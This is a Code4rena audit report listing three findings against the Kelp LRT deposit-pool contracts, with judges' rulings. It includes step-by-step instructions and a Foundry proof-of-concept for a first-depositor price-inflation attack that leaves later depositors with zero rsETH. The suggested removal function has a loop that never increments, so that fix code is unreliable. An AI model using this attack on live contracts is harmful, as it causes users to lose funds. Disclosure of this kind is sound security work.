Platform: Code4rena
Start Date: 10/11/2023
Pot Size: $28,000 USDC
Total HM: 5
Participants: 185
Period: 5 days
Judge: 0xDjango
Id: 305
League: ETH
Rank: 60/185
Findings: 3
Award: $43.45
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: T1MOH
Also found by: 0x1337, 0xNaN, 0xepley, 0xluckhu, 0xmystery, 7siech, Aamir, AlexCzm, Aymen0909, DanielArmstrong, GREY-HAWK-REACH, HChang26, Jiamin, Juntao, QiuhaoLi, Ruhum, SBSecurity, Varun_05, Weed0607, adam-idarrha, adriro, ast3ros, ayden, circlelooper, crack-the-kelp, crunch, cryptothemex, deepplus, mahdirostami, max10afternoon, osmanozdemir1, rouhsamad, rvierdiiev, trachev, xAriextz, zhaojie
36.0335 USDC - $36.03
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110
The function getRsETHAmountToMint(asset, amount)
in the LRTDepositPool
contract inaccurately calculates the amount of rsETH to be minted. This is because the function uses the current price of rsETH for its calculation, instead of considering the price after the amount
of asset
is transferred to the contract. Because of this incorrect calculation, getRsETHAmountToMint
returns significantly (depends on deposit amount and total assets in the pool) less tokens than what users will actually receive.
Although this is a view function and does not directly affect funds, the miscalculation can lead to significant losses for users or platforms relying on this function to estimate the rsETH return for a given asset deposit. The deviation between the expected and actual amount of rsETH received could be substantial, leading to mistrust and financial discrepancies.
The issue is explained and tested below, which was conducted on ethereum mainnet(fork)
function test_GetRSAmountDifferentThanDepositTime() external { uint256 amountToDeposit = 1 ether; vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), amountToDeposit * 2); vm.stopPrank(); vm.startPrank(alice); //initial deposit in order to increase the total supply of rsETH and get an initial price stETH.approve(address(lrtDepositPool), ~uint256(0)); lrtDepositPool.depositAsset(address(stETH), amountToDeposit); //get the expectec rsETH to get after depositing another 1 ether of stETH uint expectedRsETHToReceive = lrtDepositPool.getRsETHAmountToMint( address(stETH), amountToDeposit ); //initial rsETH balance of alice uint rs_balance0 = rseth.balanceOf(alice); //deposit another 1 ether, we expect to get expectedRsETHToReceive amount of rsETH lrtDepositPool.depositAsset(address(stETH), amountToDeposit); //secondary rsETH balance of alice uint rs_balance1 = rseth.balanceOf(alice); //get the received rsETH uint actuallRsETHReceived = rs_balance1 - rs_balance0; //alice received less tokens (half) than expected, because deposited tokens affected the price, unlike getRsETHAmountToMint assertLt(actuallRsETHReceived, expectedRsETHToReceive); vm.stopPrank(); }
Forge
changing getRsETHAmountToMint to below implementation solved this issue
function getRsETHAmountToMint( address asset, uint256 amount, bool reading ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract( LRTConstants.LRT_ORACLE ); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate if (reading) { uint price = IERC20(lrtConfig.rsETH()).totalSupply() == 0 ? 1 ether //if supply is zero, 1 ether is price : lrtOracle.getRSETHPrice() + //else, take into account the new amount ((amount * lrtOracle.getAssetPrice(asset)) / IERC20(lrtConfig.rsETH()).totalSupply()); rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / price; } else { rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); } }
_mintRsETH
should also be changed:
function _mintRsETH( address _asset, uint256 _amount ) private returns (uint256 rsethAmountToMint) { //we have to put false here, because _amount already affected the price (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount, false); address rsethToken = lrtConfig.rsETH(); // mint rseth for user IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint); }
Other
#0 - c4-pre-sort
2023-11-16T19:15:40Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T19:15:48Z
raymondfam marked the issue as duplicate of #62
#2 - c4-judge
2023-11-29T21:24:53Z
fatherGoose1 marked the issue as satisfactory
#3 - c4-judge
2023-12-04T15:31:41Z
fatherGoose1 changed the severity to 3 (High Risk)
๐ Selected for report: Krace
Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie
4.6614 USDC - $4.66
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L56-L58 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109
When the total supply of rsETH is zero, the LRTOracle::getRSETHPrice function returns 1 ether as the price of rsETH. An attacker can exploit this by depositing an asset with value of exactly 1 ether (e.g. 1 2 wei of stETH) using the LRTDepositPool::depositAsset function, and minting a mere 1 wei of rsETH. Then, by transferring 1 ether of that asset to the contract, the price could be inflated to such an extent that it prevents other users from minting any rsETH tokens, regardless of the amount of asset they deposit into the contract . It's important to note that the attacker might not even need to transfer 1 ether of the asset to the pool to cause this inflation. In fact, if a regular user deposits tokens into the pool, the price will already be excessively inflated.
This issue also leads to a loss of funds
because despite depositing tokens into the pool, no rsETH will be minted for the depositor.
1- Attacker deposits 2 wei of stETH, priced at 998918684011422300 (in wei, at time of the report)
2- depositAsset
fetches the price of stETH to calculate how much rsETH should be minted to alice
3- since total supply of rsETH is zero, 1 ether is returned as the price of rsETH
4- getRsETHAmountToMint
function will divide total value of deposited stETH by 1 ether:
stETH value = 2 ร 998918684011422300 = 1.997837368ร10ยนโธ
rsETH price = 10ยนโธ
total mint = value / price = 1.997837368 => rounds down => 1
5- now total supply of rsETH is 1 wei
6- Attacker transfers
1 ether of stETH to the LRTDepositPool
7- getRSETHPrice
will return (10ยนโธ * 998918684011422300) / 1
as price of rsETH
note : conducting this can also be done by front-running the first depositor.
Below tests are done using a forked version of ethereum mainnet:
function test_InflateRSETHPrice() external { //depositing 2 wei of stETH uint256 amountToDeposit = 2; //deposit the tokens here vm.startPrank(alice); //approve the LRT pool stETH.approve(address(lrtDepositPool), ~uint256(0)); //Deposit 2 wei of stETH lrtDepositPool.depositAsset(address(stETH), amountToDeposit); //rsETH supply is now equal to 1 assertEq(rseth.totalSupply(), 1); //now transfer 1 ether into contract in order to inflate the price stETH.transfer(address(lrtDepositPool), 1 ether); //price of stETH: stETH amount * price of stETH / supply => ((1e18 + 1) * 998918684011422300) / (1) //998918684011422300000000000000000000 wei or 998918684011422300 ether at time of my tests (eth mainnet) assertEq( lrt_oracle.getRSETHPrice(), lrt_oracle.getAssetPrice(address(stETH)) * 1 ether ); vm.stopPrank(); vm.startPrank(bob); stETH.approve(address(lrtDepositPool), ~uint256(0)); //price is iflated before minting rseth to bob, the price is now inflated to: // (1001e18 + 1) * stETHPrice / total minted (1) lrtDepositPool.depositAsset(address(stETH), 1000 ether); //bob did not receive any tokens, since price is inflated assertEq(rseth.balanceOf(bob), 0); vm.stopPrank(); }
Forge
The most straightforward solution is to set a minimum threshold for the amount of assets a user can initially deposit. This price inflation attack is feasible because the total value of the deposited asset divided by 1 ether (initial price) could result in very little numbers like 1 wei.
Oracle
#0 - c4-pre-sort
2023-11-16T01:29:49Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T01:30:00Z
raymondfam marked the issue as duplicate of #42
#2 - c4-judge
2023-12-01T16:59:27Z
fatherGoose1 marked the issue as satisfactory
๐ Selected for report: m_Rassska
Also found by: 0x1337, 0xAadi, 0xHelium, 0xLeveler, 0xblackskull, 0xbrett8571, 0xepley, 0xffchain, 0xluckhu, 0xmystery, 0xrugpull_detector, 0xvj, ABAIKUNANBAEV, Aamir, AerialRaider, Amithuddar, Bauchibred, Bauer, CatsSecurity, Cryptor, Daniel526, Draiakoo, Eigenvectors, ElCid, GREY-HAWK-REACH, Inspecktor, Juntao, King_, LinKenji, Madalad, MaslarovK, Matin, MatricksDeCoder, McToady, Noro, PENGUN, Pechenite, Phantasmagoria, RaoulSchaffranek, SBSecurity, SandNallani, Shaheen, Soul22, Stormreckson, T1MOH, Tadev, TeamSS, TheSchnilch, Topmark, Tumelo_Crypto, Udsen, Yanchuan, ZanyBonzy, _thanos1, adeolu, adriro, alexfilippov314, almurhasan, amaechieth, anarcheuz, ayden, baice, bareli, boredpukar, bronze_pickaxe, btk, cartlex_, catellatech, chaduke, cheatc0d3, circlelooper, codynhat, crack-the-kelp, critical-or-high, debo, deepkin, desaperh, dipp, eeshenggoh, evmboi32, ge6a, gesha17, glcanvas, gumgumzum, hals, hihen, hunter_w3b, jasonxiale, joaovwfreire, ke1caM, leegh, lsaudit, marchev, merlinboii, niser93, osmanozdemir1, paritomarrr, passion, pep7siup, phoenixV110, pipidu83, poneta, ro1sharkm, rouhsamad, rvierdiiev, sakshamguruji, seerether, shealtielanz, soliditytaker, spark, squeaky_cactus, stackachu, supersizer0x, tallo, taner2344, turvy_fuzz, twcctop, ubl4nk, wisdomn_, xAriextz, zach, zhaojie, zhaojohnson, ziyou-
2.7592 USDC - $2.76
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L82-L88 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L162-L176
The current implementation of the LRTDepositPool
contract does not include a function to remove a NodeDelegator
from the nodeDelegatorQueue
. This absence presents a risk if an externally owned account (EOA) or an incompatible contract is mistakenly added to the queue. Such an error would disrupt key functions that rely on getAssetDistributionData
, as this function attempts to call getAssetBalance
on each NodeDelegator
in the queue.
Affected functions:
LRTDepositPool: getTotalAssetDeposits
, getRsETHAmountToMint
, depositAsset
LRTOracle: getRSETHPrice
The issue arises due to the iteration over nodeDelegatorQueue
in getAssetDistributionData
and the absence of validation in addNodeDelegatorContractToQueue
.
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L82-L88
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L162-L176
Forge
addNodeDelegatorContractToQueue
and make sure that each element is linked to the lrtConfigfunction addNodeDelegatorContractToQueue( address[] calldata nodeDelegatorContracts ) external onlyLRTAdmin { uint256 length = nodeDelegatorContracts.length; if (nodeDelegatorQueue.length + length > maxNodeDelegatorCount) { revert MaximumNodeDelegatorCountReached(); } for (uint256 i; i < length; ) { UtilLib.checkNonZeroAddress(nodeDelegatorContracts[i]); //check if nodeDelegator is linked to lrtConfig or not require( INodeDelegator(nodeDelegatorContracts[i]).lrtConfig() == lrtConfig ); nodeDelegatorQueue.push(nodeDelegatorContracts[i]); emit NodeDelegatorAddedinQueue(nodeDelegatorContracts[i]); unchecked { ++i; } } }
NodeDelegator
from nodeDelegatorQueue
:function removeNodeDelegator(address _nodeDelegator) external onlyLRTAdmin { for (uint256 i; i < ndcsCount; ) { if(_nodeDelegator == nodeDelegatorQueue[i]) { nodeDelegatorQueue[i] = nodeDelegatorQueue[ndcsCount - 1]; nodeDelegatorQueue.pop(); emit NodeDelegatorRemovedFromQueue(_nodeDelegator); break; } } }
DoS
#0 - c4-pre-sort
2023-11-16T22:48:25Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2023-11-16T22:48:33Z
raymondfam marked the issue as duplicate of #36
#2 - c4-judge
2023-11-29T21:35:52Z
fatherGoose1 changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-11-29T21:44:36Z
fatherGoose1 marked the issue as grade-b